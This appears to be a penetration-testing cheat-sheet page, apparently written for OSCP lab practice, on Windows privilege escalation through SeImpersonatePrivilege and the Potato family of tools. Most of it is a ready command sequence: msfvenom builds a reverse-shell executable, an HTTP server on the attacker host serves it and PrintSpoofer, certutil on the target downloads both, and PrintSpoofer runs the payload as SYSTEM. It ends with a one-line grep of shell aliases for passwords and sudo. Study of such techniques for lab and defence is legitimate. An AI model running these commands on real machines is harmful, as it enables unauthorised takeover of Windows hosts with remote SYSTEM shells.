SeImpersonatePrivilege — Token Impersonation Privesc
Ctrl+F:
SeImpersonatePrivilege·SeAssignPrimaryTokenPrivilege·whoami /priv· Potato
Why it matters: Service account shells (IIS, SQL, etc.) often have SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. That lets a Potato tool trick SYSTEM into connecting, then spawn a SYSTEM shell.
→ Potato Attacks (full decision guide) · PrintSpoofer (lab workflow) · Windows Privileges - OSCP Priority Hub
📌 Quick check
whoami /priv
whoami /allLook for:
SeImpersonatePrivilege Enabled
SeAssignPrimaryTokenPrivilege Enabled
Either privilege → Potato family applies.
📌 Lab workflow — PrintSpoofer + msfvenom revshell
Attacker:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.227 LPORT=445 -f exe -o "revshell.exe"python3 -m http.server -d ~/Tools 8000penelope -O -p 80→ Full reference: Penelope · OSCP-safe: -O
Target:
certutil -urlcache -split -f http://192.168.45.168:8000/potatos/PrintSpoofer64.exe PrintSpoofer64.exe
certutil -urlcache -split -f http://192.168.45.227:8000/revshell.exe revshell.exe
.\PrintSpoofer64.exe -i -c "revshell.exe"Full PrintSpoofer reference → PrintSpoofer
📌 Which tool to run
| Priority | Tool | Note |
|---|---|---|
| 1 | GodPotato | Modern default — see Potato Attacks > 📌 3) GodPotato |
| 2 | PrintSpoofer | Spooler coercion — Win 10 / Server 2016–2019 |
| 3 | SigmaPotato | GodPotato fork + built-in revshell |
| 4+ | RoguePotato / JuicyPotato / SweetPotato | Situational — Potato Attacks |
📌 Common holders
| Account | Service |
|---|---|
IIS APPPOOL\... | IIS → IIS |
NT SERVICE\MSSQL$... | SQL Server |
LOCAL SERVICE / NETWORK SERVICE | Generic Windows services |
📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'→ Linux > 📌 1) Basic Manual Enumeration